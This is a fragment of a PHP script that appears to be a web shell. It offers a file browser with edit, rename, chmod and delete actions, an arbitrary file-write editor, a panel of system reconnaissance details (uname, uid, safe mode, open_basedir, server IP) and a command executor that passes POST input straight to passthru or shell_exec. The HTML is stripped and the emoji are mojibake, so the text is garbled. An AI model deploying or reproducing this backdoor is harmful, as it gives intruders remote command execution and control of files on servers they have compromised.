HTML;
// === Breadcrumb ===
function getBreadcrumb($path) {
$parts = explode('/', trim(str_replace('\\', '/', $path), '/'));
$build = '';
$curr = '/';
$html = 'Root';
foreach ($parts as $part) {
if ($part === '') continue;
$curr = rtrim($curr, '/') . '/' . $part;
$html .= ' / ' . htmlspecialchars($part) . '';
}
return $html;
}
echo '';
echo '' . getBreadcrumb($current_dir) . '
';
// === Quick Actions ===
$enc_dir = urlencode($current_dir);
echo <<
ACTIONS;
// === File List ===
$items = [];
if ($dh = @opendir('.')) {
while (($f = readdir($dh)) !== false) {
if ($f === '.' || $f === '..') continue;
$items[] = $f;
}
closedir($dh);
natcasesort($items); // Natural sort (a1, a10, a2 → a1, a2, a10)
}
echo '';
echo '| Name | Size | Permissions | Owner/Group | Actions |
';
echo '';
foreach ($items as $item) {
$path = $current_dir . DIRECTORY_SEPARATOR . $item;
$isDir = is_dir($item);
$size = $isDir ? '-' : number_format(filesize($item));
$perm = substr(sprintf('%o', fileperms($item)), -4);
$color = is_writable($item) ? 'perm-writable' : (is_readable($item) ? 'perm-readable' : 'perm-locked');
// Owner/Group
$owner = $group = '???';
if (function_exists('posix_getpwuid') && function_exists('posix_getgrgid')) {
$o = @posix_getpwuid(@fileowner($item));
$g = @posix_getgrgid(@filegroup($item));
$owner = $o ? $o['name'] : '???';
$group = $g ? $g['name'] : '???';
}
$enc_item = urlencode($item);
$enc_path = urlencode($path);
$edit_link = $isDir ? "?d={$enc_path}" : "?x=edit&f={$enc_item}";
$name_display = htmlspecialchars($item) . ($isDir ? '/' : '');
echo '';
echo "| {$name_display} | ";
echo "{$size} | ";
echo "{$perm} | ";
echo "{$owner}:{$group} | ";
echo "";
// Actions
if (!$isDir) {
echo "Edit";
}
// Rename Popup
echo " Rename";
echo "";
// Chmod Popup
echo " Chmod";
echo "";
// Delete
$del_action = $isDir ? 'delete_dir' : 'delete_file';
echo " Del";
echo " |
";
}
echo '
';
// === Handle Special Views ===
if ($_GET['x'] === 'edit') {
$file = urldecode($_GET['f']);
if ($_POST['save'] === '1') {
file_put_contents($file, $_POST['content']);
echo '✅ Saved!
';
}
$content = file_exists($file) ? htmlspecialchars(file_get_contents($file)) : '';
echo 'âœï¸ Editing: ' . htmlspecialchars($file) . '
';
echo '';
} elseif ($_GET['x'] === 'info') {
// Info panel (same as before)
$moreI = [
'PHP Version' => phpversion(),
'Server Software' => $_SERVER['SERVER_SOFTWARE'],
'Uname' => php_uname(),
'User' => get_current_user() . ' (uid:' . getmyuid() . ' gid:' . getmygid() . ')',
'Safe Mode' => ini_get('safe_mode') ? 'ON' : 'OFF',
'Open BaseDir' => ini_get('open_basedir') ?: 'OFF',
'MySQL' => function_exists('mysqli_connect') ? 'ON' : 'OFF',
'Curl' => extension_loaded('curl') ? 'ON' : 'OFF',
'Disk Total' => @disk_total_space('/') ? round(@disk_total_space('/') / (1024**3), 2) . ' GB' : 'N/A',
'Disk Free' => @disk_free_space('/') ? round(@disk_free_space('/') / (1024**3), 2) . ' GB' : 'N/A',
'Your IP' => $_SERVER['REMOTE_ADDR'],
'Server IP' => $_SERVER['SERVER_ADDR'] ?? 'N/A'
];
echo 'â„¹ï¸ System Info
';
foreach ($moreI as $k => $v) {
echo "| {$k} | : {$v} |
";
}
echo '
↠Back';
} elseif ($_GET['x'] === 'cmd') {
if ($_POST['cmd']) {
echo '';
if (function_exists('passthru')) {
@passthru($_POST['cmd']);
} elseif (function_exists('shell_exec')) {
echo @shell_exec($_POST['cmd']);
} else {
echo "Command execution not available.";
}
echo '';
}
echo '💻 Command Executor
';
echo '';
echo '
↠Back';
}
print '